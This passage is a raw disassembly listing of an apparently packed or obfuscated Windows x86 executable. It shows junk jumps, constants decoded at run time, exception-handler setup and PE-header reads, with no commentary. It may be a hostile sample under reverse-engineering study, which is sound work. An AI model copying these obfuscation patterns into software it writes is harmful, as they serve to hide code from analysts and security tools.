FOR sub_42C4E2 loc_42CD81: ; CODE XREF: sub_42C4E2+20j push eax cmp dword ptr [ebp-14h], 5 push offset sub_42E541 jmp loc_42ECC0 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- dd 0F9A8850Fh, 49E9FFFFh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_42CD9B: ; CODE XREF: wto1jq8f:0042AC05j ror edx, 18h shl eax, 4 push 1F8E6A66h pop eax add eax, 698A7CDCh xor eax, 0C3488653h jmp loc_428E97 ; --------------------------------------------------------------------------- dd 0D736C881h, 0E952C98Ah, 0FFFFFD9Fh ; --------------------------------------------------------------------------- locret_42CDC4: ; CODE XREF: wto1jq8f:loc_42E646j retn ; --------------------------------------------------------------------------- jmp loc_42491A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42CDCA: ; CODE XREF: sub_427D82-E06j jmp loc_429F49 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- jns loc_42E1B3 ; =============== S U B R O U T I N E ======================================= sub_42CDD5 proc near ; CODE XREF: wto1jq8f:0042787Bp arg_0 = dword ptr 4 mov [esp+0], esi pop esi xchg edx, [esp-4+arg_0] retn sub_42CDD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_42CDDD: ; CODE XREF: sub_42E5B2+16j jmp loc_4280DB ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_42CDE2 proc near ; DATA XREF: wto1jq8f:004242B1o rol eax, 1Bh mov ds:dword_42E508, eax retn sub_42CDE2 endp ; --------------------------------------------------------------------------- ror eax, 1Bh call sub_42E3C3 ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_42CDF4: ; CODE XREF: sub_4246D4+7j jmp loc_42ED47 ; END OF FUNCTION CHUNK FOR sub_4246D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42CDF9: ; CODE XREF: sub_42DC5C:loc_42DC80j push 21054D91h loc_42CDFE: ; CODE XREF: sub_42DC5C:loc_42DFC3j pop ecx xor ecx, 6800B15Fh add ecx, ebp add ecx, 0B6FA032Eh mov [ecx], eax jmp loc_42E039 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42CE14: ; CODE XREF: sub_42ADC7:loc_42D531j ror edi, 0Fh jmp loc_4277BE ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- jz loc_424EED jmp loc_42426E ; --------------------------------------------------------------------------- loc_42CE27: ; DATA XREF: sub_426AD4+209Bo mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] mov ecx, 8 sub ecx, eax xor eax, eax mov al, [ebp-9] jmp loc_42EA94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA04 loc_42CE40: ; CODE XREF: sub_42AA04+13j mov edx, 0B9726E5Ah call sub_429165 push eax rol eax, 15h ; END OF FUNCTION CHUNK FOR sub_42AA04 ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_42CE4E: ; CODE XREF: sub_424BF9:loc_42DA75j mov ds:dword_42DB08, eax retn ; --------------------------------------------------------------------------- loc_42CE55: ; CODE XREF: sub_424BF9+2A09j ; sub_42AA04+8j ror eax, 15h jmp loc_428BDA ; END OF FUNCTION CHUNK FOR sub_424BF9 ; =============== S U B R O U T I N E ======================================= sub_42CE5D proc near ; DATA XREF: wto1jq8f:0042A81Do pop ecx call sub_428F61 sub_42CE5D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42CE64: ; CODE XREF: wto1jq8f:0042BC2Ej jmp loc_429843 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D5BA loc_42CE69: ; CODE XREF: sub_42D5BA+6j add edx, 0F02E81A1h mov edx, [edx] xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42D5BA ; --------------------------------------------------------------------------- loc_42CE75: ; CODE XREF: wto1jq8f:loc_428EEAj jnz loc_426AF5 loc_42CE7B: ; CODE XREF: wto1jq8f:loc_42C0F0j jmp loc_42D0B3 ; --------------------------------------------------------------------------- xchg edx, [esp] pop edx mov ebp, esp add esp, 0FFFFFFF4h jmp loc_42D99D ; --------------------------------------------------------------------------- loc_42CE8E: ; CODE XREF: wto1jq8f:0042921Cj xchg ebx, [esp] pop ebx add edi, 0B353C8CEh xchg edi, [esp] push 0 call sub_42F563 push eax push 42F067h jmp near ptr loc_42F505+4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42CEAD: ; CODE XREF: sub_427D00:loc_42906Cj jz loc_42788A ja loc_42928E jmp loc_427880 ; END OF FUNCTION CHUNK FOR sub_427D00 ; =============== S U B R O U T I N E ======================================= sub_42CEBE proc near ; CODE XREF: wto1jq8f:0042DA48p ; wto1jq8f:0042E780j mov [esp+0], edx pop edx push 0 push 0 call sub_4276C3 retn sub_42CEBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42CECC: ; CODE XREF: sub_42ADC7:loc_427788j jmp loc_424AF6 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CED1 proc near ; CODE XREF: sub_428183j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042D31D SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov [ebp+var_4], eax call sub_42708B push eax jmp loc_42D31D sub_42CED1 endp ; --------------------------------------------------------------------------- loc_42CEE3: ; CODE XREF: wto1jq8f:00428AACj xor ecx, eax sbb ebx, ecx and eax, 0DF04398Ch ror edx, 3 jmp loc_42BD4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42CEF5: ; CODE XREF: sub_42ADC7:loc_424AF6j ; sub_424D58:loc_4286D8j cmp ebx, 53EE830Ch jmp loc_42600D ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; =============== S U B R O U T I N E ======================================= sub_42CF00 proc near ; CODE XREF: wto1jq8f:004270EEj ; sub_42ED54:loc_42ED72p mov [esp+0], esi pop esi call sub_426437 push offset loc_429C7E jmp near ptr loc_42FD1E+5 sub_42CF00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CF13: ; CODE XREF: wto1jq8f:0042EA48j jge loc_42E090 adc eax, ebx jmp sub_42D882 ; --------------------------------------------------------------------------- loc_42CF20: ; CODE XREF: wto1jq8f:0042850Cj pushf push offset loc_42ABF1 jmp loc_42F2C2 ; --------------------------------------------------------------------------- loc_42CF2B: ; DATA XREF: sub_428BC4-DE0o call sub_429CC7 ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_42CF30: ; CODE XREF: sub_42A3BC+Fj pop eax add eax, 0F59D23A2h xor eax, 0C35221C5h cmp eax, 228EB4C4h jmp loc_42484A ; END OF FUNCTION CHUNK FOR sub_42A3BC ; --------------------------------------------------------------------------- locret_42CF48: ; CODE XREF: wto1jq8f:0042E944j retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42CF4B: ; CODE XREF: sub_425F4F+Cj jmp loc_4273AF ; END OF FUNCTION CHUNK FOR sub_425F4F ; =============== S U B R O U T I N E ======================================= sub_42CF50 proc near ; CODE XREF: sub_42AA68p ; FUNCTION CHUNK AT 00427BF3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D7F2 SIZE 00000005 BYTES push large dword ptr fs:0 mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_427BF3 sub_42CF50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CF6A proc near ; CODE XREF: wto1jq8f:004240BEj ; sub_42628C+55A5p ; FUNCTION CHUNK AT 00424130 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042601E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428403 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jmp loc_424130 sub_42CF6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42CF73: ; CODE XREF: sub_42628C+Fj ; sub_42628C+559Fj jo loc_424714 call sub_42E4EA cmp eax, 68A9D923h jmp loc_42D14A ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- loc_42CF89: ; CODE XREF: wto1jq8f:0042B154j xchg edx, [esp] pop edx push 6F9A8005h pop edi jmp loc_42A740 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_42CF99: ; CODE XREF: sub_42D71D-6218j jmp loc_429096 ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42CF9E: ; CODE XREF: sub_42DC5C-5D89j xor esi, 921B84CBh add esi, ebp add esi, 2243DC28h mov esi, [esi] jmp loc_426941 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42CFB3: ; CODE XREF: sub_4244EA:loc_42B38Ej and ax, 38FFh loc_42CFB7: ; CODE XREF: sub_429BFF:loc_42BC75j cmp ax, 20FFh jz loc_427CC2 xor eax, eax jmp loc_424E3C ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- cmp dword ptr [ebp-8], 0 jbe loc_42A102 jmp loc_42B0A3 ; --------------------------------------------------------------------------- xor edx, 0F363757Bh jmp sub_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CFE2 proc near ; CODE XREF: sub_42D910+6j ; FUNCTION CHUNK AT 00424000 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042E75B SIZE 00000005 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_42DB0C, 0 jmp loc_42E75B sub_42CFE2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42CFF2: ; CODE XREF: sub_42DC5C+E0Aj mov ecx, 5E6E9DB7h loc_42CFF7: ; CODE XREF: sub_42DC5C:loc_424D6Ej mov eax, 400h push esi push offset loc_42466D jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- cmp ebp, 8E6F6DEDh jmp loc_4297E9 ; --------------------------------------------------------------------------- loc_42D012: ; CODE XREF: wto1jq8f:0042A217j push 42F20Ch jmp locret_42D12D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D01C: ; CODE XREF: sub_429BFF+36B5j xchg ecx, [esp+4+var_4] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B63C loc_42D024: ; CODE XREF: sub_42B63C+1Cj add ebx, ebp add ebx, 11634D3Ah push offset word_424ADA loc_42D031: ; CODE XREF: wto1jq8f:0042E7B6j jmp locret_42DD63 ; END OF FUNCTION CHUNK FOR sub_42B63C ; --------------------------------------------------------------------------- sub ebx, 8550B4F7h or edi, 9E1C0918h jmp sub_4272CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_42D047: ; CODE XREF: sub_42CB49:loc_426EDDj push eax push 875F9086h pop eax or eax, 501396E1h sub eax, 14712F7Ah xor eax, 3D119A92h and edx, eax pop eax jmp loc_42F536 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- loc_42D068: ; CODE XREF: wto1jq8f:00429EF5j ; wto1jq8f:loc_42B0A3j push 4A5A3316h pop eax and eax, 61BF0E95h xor eax, 42B61E86h add eax, 87A61E54h add eax, ebp push edi jmp loc_42908C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42D088: ; CODE XREF: sub_427D00+16j jz loc_42BBA1 jmp loc_42C75A ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42D093: ; CODE XREF: sub_424F7A+28CCj and ebp, esi test esi, ebx jmp loc_42E99D ; END OF FUNCTION CHUNK FOR sub_424F7A ; =============== S U B R O U T I N E ======================================= sub_42D09C proc near ; DATA XREF: wto1jq8f:00427BDDo jz loc_42D9E7 sub_42D09C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42D0A2: ; CODE XREF: wto1jq8f:00426030j ; sub_42D9D9+8j push offset dword_42CC24 jmp loc_424A05 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- xor edx, esi jmp sub_42628C ; --------------------------------------------------------------------------- loc_42D0B3: ; CODE XREF: wto1jq8f:loc_42CE7Bj xchg ebp, [eax] push edi jnz loc_42DCA9 and ebp, 0E27ABEFFh jmp loc_42D64F ; --------------------------------------------------------------------------- loc_42D0C7: ; CODE XREF: wto1jq8f:00428FF7j jo nullsub_153 pushf loc_42D0CE: ; CODE XREF: wto1jq8f:loc_42B7F0j call sub_42B35E ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D0D3: ; CODE XREF: sub_42DC5C:loc_42DCA9j jmp loc_4267D3 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_42D0D8: ; CODE XREF: sub_42A0E5-52E8j mov ecx, eax xchg ecx, [esp+0] push edi push 77C51A40h pop edi xor edi, 883AE5BFh xchg edi, [esp+4+var_4] jmp loc_42FCBC ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; --------------------------------------------------------------------------- loc_42D0F2: ; CODE XREF: wto1jq8f:loc_424370j add esi, eax sub edi, 8CCAC83Ah jmp loc_424CE8 ; --------------------------------------------------------------------------- mov esp, ebp pop ebp mov eax, ds:dword_42954C or eax, eax jnz loc_42A92C jmp loc_426B88 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42D116: ; CODE XREF: wto1jq8f:0042EDE9j jmp loc_42DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42D11B: ; CODE XREF: sub_42760F+31BFj jmp near ptr nullsub_28 ; END OF FUNCTION CHUNK FOR sub_42760F ; =============== S U B R O U T I N E ======================================= sub_42D120 proc far ; DATA XREF: wto1jq8f:00427EE0o ; FUNCTION CHUNK AT 0042A4BD SIZE 0000000A BYTES or eax, eax jnz loc_42A4BD jmp loc_42DD4F sub_42D120 endp ; --------------------------------------------------------------------------- locret_42D12D: ; CODE XREF: wto1jq8f:0042D017j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42D12E: ; CODE XREF: sub_42A8ED+11B7j jmp loc_42442B ; END OF FUNCTION CHUNK FOR sub_42A8ED ; =============== S U B R O U T I N E ======================================= sub_42D133 proc near ; CODE XREF: wto1jq8f:00424A1Ep xchg eax, [esp+0] pop eax push ecx mov esp, ebp jmp loc_42814E sub_42D133 endp ; =============== S U B R O U T I N E ======================================= sub_42D13F proc near ; DATA XREF: sub_428183+6o ; FUNCTION CHUNK AT 0042E388 SIZE 00000005 BYTES push ebp push offset sub_42BC9B jmp loc_42E388 sub_42D13F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42D14A: ; CODE XREF: sub_42628C+6CF8j jb loc_42CCC8 jle loc_4288D3 jmp sub_425F4F ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C18 loc_42D15B: ; CODE XREF: sub_429C18+13j call near ptr sub_424702 loc_42D160: ; CODE XREF: sub_426535+35j jz loc_429EB1 jmp loc_429A3C ; END OF FUNCTION CHUNK FOR sub_429C18 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428FD1 loc_42D16C: ; CODE XREF: sub_428FD1+37A7j jmp loc_4271EC ; END OF FUNCTION CHUNK FOR sub_428FD1 ; --------------------------------------------------------------------------- locret_42D171: ; CODE XREF: wto1jq8f:0042C5E2j retn ; --------------------------------------------------------------------------- loc_42D172: ; CODE XREF: wto1jq8f:loc_42A4B8j add eax, 4EDFA594h mov eax, [eax] push ebx pushf push offset loc_42D2ED jmp locret_425B5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D186: ; CODE XREF: sub_42DC5C+53j or ecx, edx mov ebp, [eax] add ebx, 0D76198A0h test ebp, ebx jmp loc_42A479 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_42D197: ; CODE XREF: wto1jq8f:0042C79Fj jbe loc_42DDC0 shl eax, 1Ch jmp loc_4298CC ; --------------------------------------------------------------------------- loc_42D1A5: ; CODE XREF: wto1jq8f:00426BC6j shl edx, 6 ; =============== S U B R O U T I N E ======================================= sub_42D1A8 proc near ; CODE XREF: sub_42EDB9-6AD8p ; FUNCTION CHUNK AT 00428A9A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C657 SIZE 00000009 BYTES xchg esi, [esp+0] pop esi add eax, ebp add eax, 0C047B391h mov eax, [eax] mov eax, [eax+3Ch] jmp loc_428A9A sub_42D1A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42D1BE: ; CODE XREF: wto1jq8f:00426519j popf mov [esi], edi add ebx, eax call sub_424585 mov edx, 19CFC62Bh call sub_429165 push eax rol eax, 1Ah jmp loc_4244A4 ; --------------------------------------------------------------------------- jbe loc_42A102 jmp loc_425AF9 ; --------------------------------------------------------------------------- xor edx, ecx cmp edx, 0ADDE8337h jmp loc_424417 ; --------------------------------------------------------------------------- loc_42D1F3: ; CODE XREF: wto1jq8f:0042CB94j push 36E2E401h pop eax and eax, 98B42A7Fh cmp eax, 1F1C2E91h jmp loc_42984D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C547 loc_42D20A: ; CODE XREF: sub_42C547:loc_42DB10j or ecx, 0C2F9B667h and ecx, 60B9C1A1h add ecx, 9F892383h mov [ecx], eax mov ecx, offset nullsub_2 push offset sub_428D01 jmp loc_425A2C ; END OF FUNCTION CHUNK FOR sub_42C547 ; =============== S U B R O U T I N E ======================================= sub_42D22D proc near ; CODE XREF: wto1jq8f:004259D8j ; sub_42A909-34EDp ; FUNCTION CHUNK AT 00427FFF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429738 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AF90 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D3B9 SIZE 00000006 BYTES mov [esp+0], ecx pop ecx test al, al jz nullsub_99 jmp loc_429738 sub_42D22D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42D23E: ; CODE XREF: sub_42A909-4C79j or edx, 373234A5h jmp loc_42A931 ; --------------------------------------------------------------------------- loc_42D249: ; CODE XREF: sub_42A909+4Cj test al, al jz loc_428ED1 jmp loc_42ED98 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- push offset sub_428EF4 jmp loc_42FAC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D260: ; CODE XREF: sub_426535-186Aj ; sub_42DC5C:loc_429DB2j rol edi, 1Ah push 2D01A48Ch xchg edi, edx loc_42D26A: ; CODE XREF: sub_426535:loc_429F3Ej push esi push 0F4F9E7F2h pop esi sub esi, 94589621h jmp loc_42677D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- xor ecx, edi jmp loc_42672F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42D284: ; CODE XREF: sub_4267AE+1405j jmp loc_42ADDB ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D289: ; CODE XREF: sub_426535-2339j jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D28E: ; CODE XREF: sub_42DC5C-678Bj ; sub_42DC5C:loc_42B917j call sub_424585 mov edx, 0F2B89A19h call sub_429165 call sub_428136 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D2A2: ; CODE XREF: sub_429BFF:loc_425F21j mov edx, 3BD2EC5Ch push ecx push 7112064Bh pop ecx add ecx, 8F30BA52h jmp loc_42D01C ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42D2B9: ; CODE XREF: wto1jq8f:0042964Ej and ecx, ebp ; =============== S U B R O U T I N E ======================================= sub_42D2BB proc far ; CODE XREF: sub_428DDD:loc_4270DCj ; wto1jq8f:004276A7p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0042A1CC SIZE 0000000E BYTES mov [esp+0], edx pop edx push esi pushf push 0AE6E6E65h xchg edx, [esp+8+var_8] mov esi, edx jmp loc_42A1CC sub_42D2BB endp ; --------------------------------------------------------------------------- loc_42D2D0: ; DATA XREF: sub_4263A6+40A1o test al, al jz loc_42A68E jmp loc_426383 ; --------------------------------------------------------------------------- xchg ebp, [esp] mov esi, ebp pop ebp push offset sub_42BC8B jmp locret_42B7B7 ; --------------------------------------------------------------------------- loc_42D2ED: ; DATA XREF: wto1jq8f:0042D17Co push 1C2B6FC9h pop ebx ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D2F3: ; CODE XREF: sub_42DC5C:loc_42C988j add ebx, 0E416F427h loc_42D2F9: ; CODE XREF: wto1jq8f:00427624j popf xchg ebx, [esp-8+arg_4] jmp loc_42B13C ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_42D302: ; CODE XREF: wto1jq8f:00424AC8j ; wto1jq8f:004292A6j mov eax, 0BB8h call sub_424F23 add eax, 0BB8h loc_42D311: ; CODE XREF: wto1jq8f:0042A6B4j push eax call sub_429E5B loc_42D317: ; CODE XREF: wto1jq8f:00428CA6j jmp locret_425F60 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CED1 loc_42D31D: ; CODE XREF: sub_42CED1+Dj jmp near ptr loc_42FD00+2 ; END OF FUNCTION CHUNK FOR sub_42CED1 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 66827416h mov [esp], ecx mov esp, ebp pop ebp jmp loc_42A130 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 3Eh dd 0BFFFF8Ch, 0D293E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42D342: ; CODE XREF: wto1jq8f:00428F85j cdq ; =============== S U B R O U T I N E ======================================= sub_42D343 proc near ; CODE XREF: wto1jq8f:004280FCp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004261BC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426EC9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CA88 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042E5DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA2C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 0EDDC533Dh pop ebx jmp loc_42CA88 sub_42D343 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42D352: ; DATA XREF: sub_42D9D9-5917o mov [ebp-4], eax jmp loc_42699F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D35A proc near ; CODE XREF: sub_42628C-1B75p ; sub_429C18p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042DAA4 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_42DAA4 sub_42D35A endp ; =============== S U B R O U T I N E ======================================= sub_42D368 proc near ; CODE XREF: wto1jq8f:00424067j ; sub_428C71:loc_42CD5Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EFC5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042EFE2 SIZE 00000013 BYTES xchg esi, [esp+0] pop esi xchg edi, [esp-4+arg_0] mov ebp, edi jmp loc_42EFC5 sub_42D368 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42D376: ; CODE XREF: sub_42A8ED:loc_427916j jnz loc_42443C lea edx, [ebp-14h] mov eax, offset dword_425924 call sub_42A56D lea eax, [ebp-14h] push eax call sub_42B02D jmp loc_42BA9F ; END OF FUNCTION CHUNK FOR sub_42A8ED ; =============== S U B R O U T I N E ======================================= sub_42D397 proc near ; CODE XREF: sub_42A8ED+4j ; FUNCTION CHUNK AT 004240D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BAF1 SIZE 00000016 BYTES push ebp jmp loc_4240D7 sub_42D397 endp ; --------------------------------------------------------------------------- push eax push 80BD82B9h pop eax sub eax, ds:4000F1h call near ptr sub_42F7AD ; START OF FUNCTION CHUNK FOR sub_42D974 loc_42D3AF: ; CODE XREF: sub_42D974+10j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42D974 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_42D3B4: ; CODE XREF: sub_4264F4+7j jmp loc_42632D ; END OF FUNCTION CHUNK FOR sub_4264F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D22D loc_42D3B9: ; CODE XREF: sub_42D22D-521Ej ; sub_42D22D:loc_42AF90j call nullsub_96 retn ; END OF FUNCTION CHUNK FOR sub_42D22D ; --------------------------------------------------------------------------- jmp loc_42416B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42D3C6: ; CODE XREF: sub_42CB36:loc_42DA64j jz loc_42E137 jmp loc_42FE3E ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- push 1AA89F6Ah pop eax sub eax, 0FFEC7AE9h xor eax, 291B1ED2h jmp loc_42DCEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42D3E8: ; CODE XREF: sub_429BD3+4DD8j jp sub_4263B3 loc_42D3EE: ; CODE XREF: sub_424F7A:loc_427840j call sub_424585 mov edx, 17B3C1CFh call sub_429165 jmp loc_425BF3 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42459B loc_42D403: ; CODE XREF: sub_42459Bj call sub_42628C loc_42D408: ; CODE XREF: wto1jq8f:0042D9ABj jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_42459B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42D40D: ; CODE XREF: sub_42D9D9-100Aj jmp loc_42876D ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_42D412: ; CODE XREF: sub_42DA7A-2960j jmp loc_42C7F0 ; END OF FUNCTION CHUNK FOR sub_42DA7A ; --------------------------------------------------------------------------- loc_42D417: ; CODE XREF: wto1jq8f:0042ADB7j push 0B51265C0h pop ecx sub ecx, 0C4CB4C25h rol ecx, 0Ah add ecx, 0E3DC7F01h loc_42D42C: ; CODE XREF: wto1jq8f:loc_425BD2j xchg ecx, [esp] jmp loc_42E87D ; =============== S U B R O U T I N E ======================================= sub_42D434 proc near ; CODE XREF: sub_42A197-56E7p ; wto1jq8f:loc_42A474j ; FUNCTION CHUNK AT 0042A94B SIZE 00000005 BYTES mov [esp+0], ecx pop ecx xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] jmp loc_42A94B sub_42D434 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D446 proc near ; CODE XREF: sub_42A2B8:loc_42E4ADp mov eax, 5Eh retn sub_42D446 endp ; =============== S U B R O U T I N E ======================================= sub_42D44C proc near ; DATA XREF: sub_429A28+9o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424097 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426EC4 SIZE 00000005 BYTES ; FUNCTION CHUNK 